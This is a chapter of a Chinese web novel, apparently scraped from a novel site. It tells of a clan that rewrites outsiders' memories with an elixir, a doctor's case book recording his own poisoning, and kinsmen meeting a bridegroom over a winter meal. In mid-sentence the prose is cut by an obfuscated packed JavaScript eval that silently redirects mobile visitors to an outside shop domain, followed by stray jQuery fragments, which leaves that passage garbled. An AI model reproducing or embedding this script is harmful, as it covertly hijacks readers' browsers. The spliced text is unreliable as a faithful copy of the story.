文趣网 > 其他小说 > 张武陵 > 41.迦陵频伽梧桐雨
    月上中天,药香和死人香弥漫的义庄中,问春归翻开自己的病案,从头读起。

    病案详细记录了陈海棠的名字、籍贯、生平,以及来到桃花公主坟的原因:他是湘西苗寨的医生,一支商队因水土不服在医馆中停留多日,商队中有几个白发苍苍的年轻人,引起陈海棠莫大的兴趣。

    这便是他探索换仙丹的起始。然而换仙丹救人性命之前,竟要先死一人,他绝不肯残害无辜。

    桃花公主坟难进难出,陈海棠叫天不应叫地不灵,索性就地研究起换仙丹的解药。丁谑没有阻挠。

    解药的研制很不顺利,陈海棠去信金陵和京城,向陈妙登、陈璇求助,得到他们很多建议。可病患对换仙丹的中毒症状描述不一,解药始终不灵。

    延嘉七年,丁谑抓了一伙强盗做药引,陈海棠决定服下换仙丹,以身试药。

    问春归仿佛在看陌生人的病案。陈海棠的笔锋沉稳,温和,越到后面越潦草,性格开始变得冰冷、厌世,语句颠三倒四,自相矛盾。

    在精神撕裂的痛苦中,三陈避秽丹研制出来了,自那以后丁家人的心疾、黑喜鹊的混乱和白杜鹃的暴动都往后推延了很多。

    然而换仙丹没有彻底的解药,陈海棠也成了白杜鹃,精神状态极不稳定。他做白杜鹃的第一天阅读了自己的病案本,发生第一次暴动,第二次暴动是延嘉十五年,陈璇病逝的消息传到他耳中。

    问春归竭力记住陈海棠的笔记。

    越往后翻,病案本几乎成了死人名录。大多数外乡人带着丁家姓名埋进坟冢,能到义庄又能记起真名的,少之又少。翻到折起来的一页,揭开折角,里面记载着几个人名,上为黑字,下为红字,两两对应。

    【问春归】【陈海棠】

    ……

    【丁随云】【上官尧臣】

    ……

    【丁悱恻】【张武陵】

    灯笼晃荡,软轿停在门口时,问春归正好要锁门。

    “大老爷?稀客,稀客。”

    “许久不见了。”丁谑穿着白狐裘,他与雪两白,笑起来十分可爱,眼中却藏着化不开的坚冰,进了义庄,坐在交椅中,珍珠耳钉闪烁火光,“今日丁悱恻在你这待了一段时间。”

    “当然,送喜帖嘛。”问春归理所当然地摊开手,“你不会没有吧?”

    “我是家主,不用喜帖。”丁谑拿起酒杯嗅闻酒气。

    “你们根本不是一家。”

    “认下丁悱恻这个名字,他就是丁家人。”

    问春归嘲讽道:“你们丁家倒有一半外姓,你最好离炼丹炉远点,长年累月吸食死人香,哪天发疯了没人制得住你。”

    丁谑圆黑的眼睛眯起来:“我们同为医者,你应该明白我的苦心。换仙丹完善药理不易,需要收集大量经验,正如你研制三陈避秽丹,我也是为了消除换仙丹的弊病。

    “以往你帮着那些药人,我不说什么,你来问云儿的真名,我也告诉你。但丁悱恻不一样,他杀性太重,又很多疑,借着送喜帖的幌子打探村里的情况,不容小觑。”

    “他杀性重?”问春归的声音不再懒散而是冷淡,笑眼不再弯弯而是无情,“那太好了,我们早该死了。”

    “你太固执,抛弃陈海棠的记忆,你会活得更好。”丁谑怜惜地看着眼前的糊涂蛋,说出来的话却很恶毒,“你不是他,陈海棠要人活,问春归却要人死!”

    北风呼啸,门窗砰砰作响,地面留下可怖的蛇形轨迹,无人知晓义庄中的事情,两盏纸灯笼骤然熄灭。

    第二天,问春归携病案本消失不见,紫檀烟杆放在药柜上,清风烟霞围着丁悱恻绕啊绕,此地空是停灵之所。

    “他去哪了?”

    “不知道”

    丁询没有撒谎。

    临近年关,在外的两个旁支派了最优秀的子弟回来祭祖,住在义庄前面的空屋。

    迦陵频伽的父母殉情而死,他没人可看,商会中的三个族兄弟却写了信件,准备礼物,托他慰问家人。迦陵频伽把一车车绫罗绸缎、奇珍异宝运到库房中,空闲下来再挨个找过去,三封信送出去一封,另外两家空荡荡。

    偌大的宅子里遍布灰尘,天井中照射下阳光,他蹲在台阶上吹了大半天冷风,把报平安的家书烧给徘徊在屋中的阴魂。

    隔壁的梧桐雨也好不到哪去,他娘是抬棺人,他去敲棺材板,没有丝毫回应。坟中三日,迦陵频伽说不到三句话,干脆拿起刻刀纂刻白玉合符。

    这枚白玉合符是赠送给新婚夫妇的礼物,分上下两块,嵌合紧密,内饰浮雕,中央篆书为“永结同心”,两符相合,正面刻妙音鸟的雕饰。

    腊月二十三晌午,梧桐雨割下鹿肉,在火炉上炙烤,迦陵频伽那边的炉子上是橘子、苹果、花生、栗子,没有荤腥。

    门外先是传来嘎吱嘎吱的转轮声,随后是铃声和轻轻的脚步,他们不约而同把目光朝向翡翠蓝玉珠帘,只见丁谴一闪身进了门,神神秘秘说道:“猜我带了谁来?”

    他们和丁谴在族学中长大,熟知他轻佻做作的性格,迦陵频伽给面子,摆出好奇的神色:“谁?”

    丁谴立刻装模作样地清了清喉咙,撩起珠帘笑道:“新郎官,请。”

    玉石碰撞响叮当,从白茫茫的琉璃世界中走进来的,是插着大枝红梅的玉壶春瓶,怀抱红梅而来的青年身穿琉璃蓝衣袍,花影后的面容衬得梅花多出三分清白冷冽。

    “休要胡说。”丁悱恻不喜欢“新郎官”这个称呼,他斥了丁谴一句,便对屋中徐徐行礼。

    梧桐雨不由得放下酒杯,迦陵频伽站直起来,二人相视一眼,搬来椅子,招呼客人坐下。

    “主宅规矩甚严,难得你们专程过来。”梧桐雨很是客气。

    “我可不想来,是他非要来,他成天想到外面去,我就带他来见见世面。”丁谴指着丁悱恻埋怨,然后给双方介绍。

    “【疏疏梧桐雨】这一脉是读书人,【迦陵频伽】这一脉是做生意的。丁悱恻自小养在主宅,也没去族学读书,你们应当是第一次见面。”

    “我们到了族中才知晓有喜事,没备贺礼,望你见谅。”梧桐雨拱手致歉,迦陵频伽哼哼笑了两声:“你无礼,我可有礼。”

    梧桐雨细读

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581920|203007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了遍请帖,问道:“夏无眠是哪房的姑娘?我倒不认识。”

    丁谴乜了他一眼:“族中旁支甚多,哪能个个都让你见了去?我也不曾得见呢!”

    鹿肉熟了,花生烤得焦香,酒也温好,三杯下肚,几个年轻人都放松了一点。迦陵频伽问:“丁询没有一块儿来?”

    “大老爷不知道叫他去干什么。”丁谴偷笑,稍稍正色后问,“你们跟往年一样,大年初一离开?”

    梧桐雨掰开花生壳,把花生分给丁悱恻,说:“不错,拜了祖宗,喝了喜酒,隔天就走。”

    深红色的花生卧在丁悱恻手中,他慢慢地咀嚼,咽下后说:“新婚后,我夫妻二人打算外出游山玩水,到时可否去二位兄长家中做客?”

    梧桐雨不是扫兴的人,欣欣然说道:“当然!我在蓬莱县的山庄读书,要说热闹的,还是登州港口,帆船林立,各国使节、僧侣、客商在此中转休整,香料贩子和珠宝商满街都是。我回去之后挑几样新奇玩意儿寄来,要是能得你开颜,便算我的心意了。”

    接着他指了指迦陵频伽:“这厮从泉州搬到金陵,那儿山川灵秀,人物俊彦,是个好去处,你们先去我那玩两个月,再坐船去金陵游玩。”

    梧桐雨化姓“吴”,蓬莱吴氏,芝兰玉树;迦陵频伽在外化姓“商”,经营通利商会,富甲天下。

    “我小小商人,如何比得过举人老爷!”迦陵频伽扮了个谄笑的模样,“要是几年前我可不敢到金陵去,也是大老爷下了命令,去了也没什么可怕的嘛!”

    一提起金陵,丁谴就沉下脸色:“我倒是知道一点内幕,从前大老爷明令禁入金陵,是因为结雨哥和随云姐去后发生暴动,回来的时候满身鲜血,之后就去做督水工了。”

    “莫非引发暴动的因由离开了金陵?”丁悱恻沉思。

    “谁知道呢!”丁谴不关心。

    四人吃了鹿肉,饮了热酒,时不时欢声笑语,天刚擦黑,丁悱恻和丁谴告辞离去。

    “他们不会帮你。”丁谴醉醺醺地驱赶驴车,“在外的旁支但凡生出异心,大老爷便会派出白杜鹃,将人羁押回乡,在宗祠中处死,他们不敢忤逆大老爷。”

    “他们不敢,你却敢吗?”

    “你都不怕,我有何不敢?”

    “我先前以为你是同我说笑,原来真有这副胆气。”丁悱恻的声音越来越低,身体忽然软下,丁谴一把捞住他,一点也不见怪。

    外乡人被丁谑篡改记忆后都这副德性,浑浑噩噩,一时要东一时要西,丁悱恻算是脑子比较清楚的。

    “你到底有什么计策?”丁悱恻给了丁谴一个悬念,丁谴喜欢这个悬念。

    翌日天气晴朗,丁询从主宅出来,到花圃一看,疏影横斜,大梅花树下筛漏出来的日光,融融地映照花泥和躺椅中安睡的男人。

    丁悱恻茫茫然睁开眼,面前是半蹲下来的丁询,他身后是脸色病白、眼神空洞的白杜鹃,穿着苍蓝的大氅,衣袂飘飘。

    “失礼了。”丁悱恻撑着扶手,从躺椅中下来,“这位是?”

    “他叫丁香空结雨,是你的亲表哥。”